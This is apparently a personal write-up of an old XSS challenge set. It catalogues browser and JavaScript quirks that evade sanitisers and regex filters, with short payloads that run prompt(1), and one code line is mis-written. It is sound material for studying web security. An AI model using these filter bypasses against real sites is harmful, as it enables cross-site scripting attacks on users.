Foreword#
I stumbled upon this page by some random chance. I was reading a writeup by Phithon about this page. Apparently it was written by some Cure53 members years ago. Surprising to see a lot of the “tricks” still relevant until now.
Site and solution#
Interesting quirks#
There are a lot of interesting quirks, but not all of them survives until now. Regardless, these are super interesting to know. Here are the tricks, in the order of the challenges:
SVG quirks#
- HTML encoding works inside
<script>
inside SVG. This works due to SVG “XML-ish” behavior. This means that once we use entities inside an SVG’s <script>
element (or any other CDATA element), they will be parsed as if they were used in canonical representation.
1
2
3
|
<svg><script>prompt(1)</script>
<!-- is equivalent to -->
<svg><script>prompt(1)</script>
|
- HTML comments works inside SVG tag. That is, this is perfectly valid
1
2
3
4
5
6
7
8
9
|
<svg>
<!-- This is valid !-->
<script>
<!-- This is also valid -->
prompt(1
<!-- This is also valid ?! -->
);
</script>
</svg>
|
ES6 template literals#
- ES6 template literals allows us to invoke functions with 1 parameter without using
()
1
2
3
|
<!-- Both of these executes prompt(1) -->
<script>eval.call`${'prompt\x281)'}`</script>
<script>prompt.call`${1}`</script>
|
!-->
can be used for closing HTML comment, specifically, <!--
. This character sequence raises a Parse Error
, but the HTML specification somewhat allows this behavior:
12.2.4.50 Comment end state,
U+0021 EXCLAMATION MARK (!): Parse error. Switch to the comment end bang state.
12.2.4.51 Comment end bang state,
U+003E GREATER-THAN SIGN (>): Switch to the data state. Emit the comment token.
1
2
|
<!-- This is valid -->
<!-- This is (somewhat) valid --!>
|
Attribute separators#
- Aside from the
/
trick to replace spaces (e.g svg/onerror=alert(1)
), attributes can be separated using U+000A LINE FEED (LF)
and U+000C FORM FEED (FF)
- This can be used to bypass some regex patterns that tries to detect XSS. Regexes does not work on newlines, for example
/>|on.+?=|focus/gi
would not detect the following. Note that the onerror
and =
are on different lines
1
2
|
"type=image src onerror
="prompt(1)
|
DOM Clobbering#
- DOM Clobbering also works for
name
attribute. There are too many examples online that have a injection to id
attribute that I forgot about this fact.
async attribute for <script>
element#
- The async attribute allows to utilize un-closed script elements. Hence, something like this is possible
1
2
|
<script src="test.js" async>
<script/async/src=https://google.com>
|
Uppercase and Lowercase tricks#
toUppercase
and toLowercase
will convert some Unicode characters to ASCII. From the ECMA standard the characters are mapped to their uppercase equivalents as specified in the Unicode Character Database.
- For more details on what characters lead to this quirk, navigate to Phithon blog post for the full list.
Alphanumeric operators in JavaScript#
- There are alphanumeric operators in JavaScript. Some of them are
in
, typeof
, …
- For the
in
operator, this does not need space to separate the left and right hand side of the operator. For example, these three expressions are equivalent
1
2
3
|
(prompt(1))in"abc";
prompt(1)in"abc";
prompt(1) in "abc";
|
- Additional quirk
"test"(alert(1))
does not yield any parsing error. This will execute alert(1)
, and then raise a runtime exception VM147:1 Uncaught TypeError: "test" is not a function
toString
additional parameter#
- toString() has an optional parameter: the radix toString(radix). This parameter allows to represent numeric values in different bases, from binary (radix 2) to Base36
- Hence, we can convert a string into a Base36 representation. For example:
1
2
|
// The string "prompt" is equivalent to 1558153217 in Base 36
parseInt("prompt",36); //1558153217
|
- We can convert back the number into the original string
1
|
toString(1558153217, 36) // "prompt"
|
Special replacement patterns#
String.replace()
has a replacement patterns that does “special” replacements. More details can be found here
- Say, for example, if we use
$\``, then
replace()` will insert the portion of the string that follows the matched substring
1
2
3
4
|
source = "$`onerror=prompt(1)>"
var a = '<img src="{{source}}">'.replace('{{source}}', source)
// The above leads to
// <img src="<img src=" onerror=prompt(1)>">
|
- Similarly, for
$&
, this inserts the matched substring. In the example above, "{{source}}"
will be added.
Function hoisting#
- JavaScript does function hoisting. More details here
- Essentially this code snippet should explain this behavior:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
functionExpression(); // undefined
functionDeclaration(); // "Function declaration called."
var functionExpression = function() {
console.log('Function expression called.');
};
functionExpression(); // "Function expression called."
functionDeclaration(); // "Function declaration called."
function functionDeclaration() {
console.log('Function declaration called.');
}
functionExpression(); // "Function expression called."
|
Reverse clickjacking#
Questions#
Upon doing these challenges, I notice that some of the tricks did not work any more. The following is a list for the future me (or the reader) to help me figure out
- Why does the Level 8 solution not work on current Chrome versions? Inserting the line separator character or paragraph separator will make the resultant code contain spaces instead of actual newlines.
- How can you come up with the payload for Level 14? The all caps Base64 XSS payload?
- Is there a solution for Level 14 in Chrome right now for this challenge? The given solution does not work in Chrome now.
- For Level -1, why does the code hoisting payload does not work? Specifically, only this configuration works:
1
2
3
4
5
6
|
if (somecondition) {
foo(); // Hello
function foo {
console.log("Hello");
}
}
|
but not this one:
1
2
3
4
5
6
|
foo(); // foo undefined
if (somecondition) {
function foo {
console.log("Hello");
}
}
|
- How does the Chrome payload in Level -4 works? What is the context that this payload
)},{0:prompt(1
even injected in? What is the research that leads to this crazy injection? Why are these “injections” considered to be dead?